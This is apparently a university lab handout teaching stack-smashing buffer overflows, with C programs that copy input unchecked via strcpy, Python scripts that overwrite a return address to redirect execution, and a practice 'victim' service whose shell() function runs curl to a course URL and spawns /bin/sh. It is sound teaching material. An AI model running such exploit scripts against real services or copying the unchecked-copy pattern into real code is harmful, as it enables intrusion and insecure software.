Activity 10 : Buffer Overflow

Instructors : Krerk Piromsopa, Ph.D

This activity is rewritten from Krerk's buffer-overflow tutorial[1] that was written in 2007. The code was converted to 64-bit Linux in 2014. Later, the code has been modified to demonstrate (in exercise 3) that buffer overflow is still possible even with randomize_va_enable (in Linux/Mac OS X).

Overview

This exercise will familiarize you to stack smashing, a type of buffer-overflow attack. It should give you a general idea of how buffer overflow can be used in action. The real buffer-overflow attacks are more elaborated. We will only learn subsets of them here. The real attacks are much more sophisticated. This part is trimmed down. (i.e. You do not have to do code injection.)

Prologue

In this exercise, we will use Linux as a base. Though the exercise is based on Debian Linux (wheezy or stretch) and Ubuntu 16.04, any distribution should work. (This revision of activity is developed using gcc version 5.4.0 on Ubuntu 16.04.) You may need to install build-essential (gcc, bin-utils, gdb) and curl to work on this exercise.

For Windows' Users

Alternatively, if you are using Windows, cygwin, a linux-like environment for Windows, can also be used. To install cygwin, please go to http://www.cygwin.com/ and download the installation (setup.exe).

Note that

1. You need an internet connection for the installation.
2. It is also possible to use WSL. However, I did not test it.

To install, run "setup.exe". The program will ask for a mirror site for installation, pick an appropriate choice (e.g. a mirror in Japan or Asia). There are only two main components required for this exercise: gcc and bin-utils. Other choices are optional. I recommend that you install pico or vi for using

[1] https://www.cp.eng.chula.ac.th/~krerk/courses/2110413/2550/Assignment2.html

as your text editor. The installation may take hours (depending on your internet connection).

After the installation, you will find a program group "cygwin" in your Windows start menu. Run the "cygwin".

Now, let's test that gcc is working by compiling a simple program. This is "hello.c". Use your favorite editor (e.g. notepad) to write this program. Note that all cygwin path are relative to c:\cygwin\ (i.e. /home in cygwin will be c:\cygwin\home in Windows).

```
#include <stdio.h>
 int main(int argc, char *argv[]) {
    printf ("Hello, World\n");
 }
```

run **gcc -o hello hello.c**
The program will give hello. Type **./hello** to run your program.

To disassembler, try **objdump -d hello**. I know that assembly may be geek to you, but that is not an issue (at least for now). If you got it all working, you are ready for the exercise.

Compiler & System Protection

Please note that your version of compiler and operating systems may have several buffer-overflow protection enabled. You might want to disable it to make your life easier. For example, use **gcc -fno-stack-protector** to disable canary protection. In some cases, you may want to add **-no-pie**[2] to disable position independent executable (disable address space location randomization (ASLR)). It is worth clarify that exercise, we will try to do it even with the ASLR is on (do not add -no-pie).

[2] Note that it is possible to perform buffer-overflow on a program with ASLR.

Exercise

1. **Stack Layout:** Let's start with a simple C program.

```
#include <stdio.h>

/* Prototype function */
void myfunction (int i);

char *p;

int main() {
      printf("&main = %0.16p\n", & main);
      printf("&myfunction = %0.16p\n", &myfunction);
      printf("&&ret_addr = %0.16p\n", &&ret_addr);
      myfunction (12);
ret_addr:
      printf("... end\n");
}

void myfunction (int i) {
      char buf[20]="0123456789012345678";
      printf("&i = %0.16p\n", &i);
      printf("sizeof(pointer) is %d\n",sizeof(p));
      printf("&buf[0] = %0.16p\n", buf);
      for(p=((char *) &i)+64;p>buf;p--) {
            printf("%0.16p: 0x%0.2x\t", p, *(unsigned char*) p);
            if (! ((unsigned int )p %4) )
                        printf("\n");
      }
      printf("\n");
}
```

Compile this program and run it. Please note that the **ret_addr** label is added to ease learning only. (We use the **&&** feature of gcc for referring to label address.) Depending on your version and environment, your result may vary. However, it should look somewhat like this.

```
$ ./ex1
&main = 0x00005600a1c94155

&myfunction = 0x00005600a1c941be

&&ret_addr = 0x00005600a1c941ab

&i = 0x00007fff43e9a28c

sizeof(pointer) is 8
```

```
&buf[0] = 0x00007fff43e9a290

0x00007fff43e9a2cc: 0x0e

0x00007fff43e9a2cb: 0x95       0x00007fff43e9a2ca: 0x5b
0x00007fff43e9a2c9: 0xb0       0x00007fff43e9a2c8: 0x9b
0x00007fff43e9a2c7: 0x00       0x00007fff43e9a2c6: 0x00
0x00007fff43e9a2c5: 0x56       0x00007fff43e9a2c4: 0x00
0x00007fff43e9a2c3: 0xa1       0x00007fff43e9a2c2: 0xc9
0x00007fff43e9a2c1: 0x42       0x00007fff43e9a2c0: 0xc0
0x00007fff43e9a2bf: 0x00       0x00007fff43e9a2be: 0x00
0x00007fff43e9a2bd: 0x56       0x00007fff43e9a2bc: 0x00
0x00007fff43e9a2bb: 0xa1       0x00007fff43e9a2ba: 0xc9
0x00007fff43e9a2b9: 0x41       0x00007fff43e9a2b8: 0xab
0x00007fff43e9a2b7: 0x00       0x00007fff43e9a2b6: 0x00
0x00007fff43e9a2b5: 0x7f       0x00007fff43e9a2b4: 0xff
0x00007fff43e9a2b3: 0x43       0x00007fff43e9a2b2: 0xe9
0x00007fff43e9a2b1: 0xa2       0x00007fff43e9a2b0: 0xc0
0x00007fff43e9a2af: 0x00       0x00007fff43e9a2ae: 0x00
0x00007fff43e9a2ad: 0x7f       0x00007fff43e9a2ac: 0x0e
0x00007fff43e9a2ab: 0x95       0x00007fff43e9a2aa: 0x7b
0x00007fff43e9a2a9: 0x51       0x00007fff43e9a2a8: 0x90
0x00007fff43e9a2a7: 0x00       0x00007fff43e9a2a6: 0x00
0x00007fff43e9a2a5: 0x00       0x00007fff43e9a2a4: 0x00
0x00007fff43e9a2a3: 0x00       0x00007fff43e9a2a2: 0x38
0x00007fff43e9a2a1: 0x37       0x00007fff43e9a2a0: 0x36
0x00007fff43e9a29f: 0x35       0x00007fff43e9a29e: 0x34
0x00007fff43e9a29d: 0x33       0x00007fff43e9a29c: 0x32
0x00007fff43e9a29b: 0x31       0x00007fff43e9a29a: 0x30
0x00007fff43e9a299: 0x39       0x00007fff43e9a298: 0x38
0x00007fff43e9a297: 0x37       0x00007fff43e9a296: 0x36
0x00007fff43e9a295: 0x35       0x00007fff43e9a294: 0x34
0x00007fff43e9a293: 0x33       0x00007fff43e9a292: 0x32
0x00007fff43e9a291: 0x31
... end
```

The program tells us the addresses of **main** and **myfunction** (0x401050 and 0x4010b0 respectively). The content of the main function would intuitively be between these two addresses. --- Hint, the return address, **ret_addr**, should be in this region

Draw a stack layout of your program. Start from the address of &buf[0] and stop at &i+8. Specify symbol and content (if possible). Make sure that you have identified argument (i), and return address.

Please circle the result from the program above and write down the associated symbol. (Identify return address, buffer, local variables.)

2. **Stack Smashing:** Let's the fun part begin. Consider the following program.

** This example expects that the ASLR is not enabled in the target software**

```
#include <string.h>
#include <stdio.h>

void greeting() {
      printf("Welcome to exercise II\n");
      printf("I hope you enjoy it\n\n");
}

void mem_dump(char *from,char *to) {
      char *p;
      for(p=(from+64);p>=to;p--) {
            printf("%p: 0x%02x\t", p, *(unsigned char*) p);
            if (! ((unsigned long )p %2) )
                  printf("\n");
      }
      printf("\n");
}

void concat_arguments(int argc, char**argv) {
      char buf[20]="01234567890123456789";
      char *p = buf;
      int i;
      printf("&i = %p\n", &i);
      printf("&buf[0] = %p\n", buf);
      //printf("before\n");
      //mem_dump(buf + 64,buf);

      p=buf;
      for(i=1;i<argc;i++) {
            strcpy(p, argv[i]);
            p+=strlen(argv[i]);
            if(i+1 != argc) {
                  *p++ = ' ';
            }
      }
      printf("%s\n", buf);

      //printf("after\n");
      //mem_dump(buf + 64,buf);
}

int main(int argc, char **argv) {
      printf("&main = %p\n", & main);
      printf("&myfunction = %p\n", &concat_arguments);
      printf("&greeting = %p\n", &greeting);
      greeting();
      concat_arguments(argc, argv);
}
```

When we compile[3] and run this program, we get something similar to the following.

```
$ ./ex2 a b c
Welcome to exercise II
I hope you enjoy it

a b c
```

Now we need to call the program in such a way that we overwrite the return value with the address of the code that we want the program to return to. Let's say that we want to make the program return to the main program again. We have to first figure out the address of ***greeting***. One simple way is to add the following code to the program. This way the program can simply tell us the address.

```
printf("%p\n", &greeting);
```

What if we cannot edit the program, how to obtain such information? One method is disassembler. Try ***objdump -d ex2*** to disassembly the program. You may get a long list. It might be easier to save the result to a file (using redirection) and use a text editior to open it. (or use **more**). Anyway, I will use grep to get the specific line.

```
$ objdump -d ex2 |grep greeting

0000000000400646 <greeting>:
  40081b:   e8 26 fe ff ff          callq  400646 <greeting>
```

With grep, we only filter lines with **greeting**. BINGO! The first line is just what we need. Given that the stack layout of this program should be somewhat similar to what we get from exercise 1, we can combine the knowledge to create an attack program. Assuming that the return address is 40 bytes away from buff, here is how it may look.

[3] Given that modern compilers are equipped with canary word (or similar) protection . To make it easy to do this exercise, try ***gcc -o ex2 -fno-stack-protection -no-pie ex2.c*** to turn off the protection for the moment. However, it is still possible to render buffer-overflow attacks on a program with the canara word protection.

```
#!/usr/bin/python3
# wrapper

import os

buff=40*(b'x')
addr=bytearray.fromhex("400646")
addr.reverse()
buff+=addr
print("exec ./ex2 with buff",buff)
os.execv('./ex2',['./ex2',buff]);
```

Note that it is possible to write this code in any programming language (e.g. C, C++, python, perl). The idea is to craft a parameter to pass to the vulnerable program.

If you got it right, here is the result.

```
$ ./wrapper
Welcome to exercise II
I hope you enjoy it



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxP@
Welcome to exercise II
I hope you enjoy it

Segmentation fault (core dumped)
```

Finally, we got it. However, the program has nothing to return to after finishing the greeting function for the second time. Without a valid return address to return to, the default behavior is "Segmentation fault". Nonetheless, you have just mastered the concept of stack smashing.

3. **Challenging:** In this exercise, you are challenged to exploit a buffer-overflow attack in this dummy internet service[4] [victim-2020].

*** Do not enable the -no-pie option. Only use ***gcc -f-no-stack-protector.*** ***
You may want to experiment with it a little bit before emulating it as a service.
To emulate it as a service, we will use netcat. (In a real system, the service is usually demonized by inetd/xinetd.)

nc -l -p 60000 victim

[4] https://mis.cp.eng.chula.ac.th/krerk/tmp/victim-2020 You may use ***curl -O [url]*** to download it to your machine. Note that this is an ELF 64-bit Linux. If you are using different systems, please compile it yourself. (This is not recommended.)

In this victim program, I put a shell function[5] inside the program. Your task is to overflow the stack and change the program flow to call the target function. A successful attack should look somewhat like this.

```
__   __
\ \ / /__  _   _  __ _ _ __ ___
 \ V / _ \| | | |/ _` | '__/ _ \
  | | (_) | |_| | (_| | | |  __/
  |_|\___/ \__,_|\__,_|_|  \___|


 _   __      ____ _  ________ ____
| | | |  / \  / ___| |/ / ____|  _ \
| |_| | / _ \| |   | ' /|  _| | | | |
|  _  |/ ___ \ |___| . \| |___| |_| |
|_| |_/_/   \_\____|_|\_\_____|____(_)

This is just for demonstration.
```

Alright! I know that you are still a young padawan. Asking you to perform a JEDI task might be too hard on you. As a master, I will give you more hints. Here is the source code of victim.c. Keep in mind that you may not have a chance to see the source in the real world.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void shell() {
      char cmd[] = "/bin/sh";

      char cmd1[] = {"/usr/bin/curl"};
      char *args[] =
{"curl","https://mis.cp.eng.chula.ac.th/krerk/tmp/demo.txt",NULL};
      execl(cmd1, args, 0);

      printf("Congratulation, you have mastered stack smashing.\n");
      printf("This program will give you a shell (/bin/sh) .\n");
      printf("Type exit, to return to main shell\n\n");
      execl(cmd, cmd, 0);
}

void mem_dump(char *from, char *to) {
      unsigned char *p;
      for (p = (from + 64); p >= to; p--) {
```

[5] In real attack, it is typically a shell function/code.

```
      printf("%p: 0x%0.2x\t", p, *(unsigned char*) p);
      if (!((unsigned int) p % 4))
            printf("\n");
      }
      printf("\n");
}

char *p;
int i = 0x55aa55aa;

void vulnerable(char*str) {
      char buf[20] = "01234567890123456789";
      //printf("buf (before): %s\n", buf);
      // attack happens here
      p=buf;
      strcpy(p, str);
      //printf("Stack Layout (after)\n");
      mem_dump(buf + 64, buf);
}

int main(int argc, char **argv) {
      char str[10000];
      int cnt=1;
      fprintf(stderr,"&main = %0.16p\n", & main);
      fprintf(stderr,"&vulnerable = %0.16p\n", &vulnerable);
      fprintf(stderr,"&retpoint = %0.16p\n", &&retpoint);
      fprintf(stderr,"&shell = %0.16p\n", &shell);
      while (1) {
      printf("[%4d] input: ",cnt++);
    scanf("%s",str);
    printf("Input is \n%s\n",str);
       vulnerable(str);
retpoint:
    printf(".. done\n");
    fflush(stdout);
    if (strcmp("q",str)==0) {
       break ;
    }
      }
      printf("Program terminated normally\n");
      fflush(stdout);
}
```

Here is a simple attack code for emulating telnet in python using telnetlib.

```
#!/usr/bin/python3

import telnetlib

# open connection
tn=telnetlib.Telnet("127.0.0.1",60000)
```

```
#offset=40
#target_addr="5647740e61b5"
offset=int(input("Offset (40?):"))
target_addr=input("Target (shell) address (eg. 5647740e61b5): ")
buff=offset*(b'x')
addr=bytearray.fromhex(target_addr)
addr.reverse()
buff+=addr
# sending buffer
tn.write(buff)
# emulate telnet/terminal
tn.interact()
```

4. **Bonus:** From exercise 2 and 3, can you explode the buffer-overflow attack even when the canary-style protection is activated? Please explain your analysis.

5. **Question:** Now you have mastered a type buffer-overflow attack. Please answer the following questions.

- Most viruses and worms use buffer overflow as a basis for its attack.
- Do you think that exploiting buffer-overflow attacks is trivial? Please justify your answer. (i.e. Is it trivial to write a program to exploit buffer-overflow attacks in a server ?)
- As a programmer, is it possible to avoid buffer overflow in your program (write secure code that is not vulnerable to such attack)? Explain your strategy.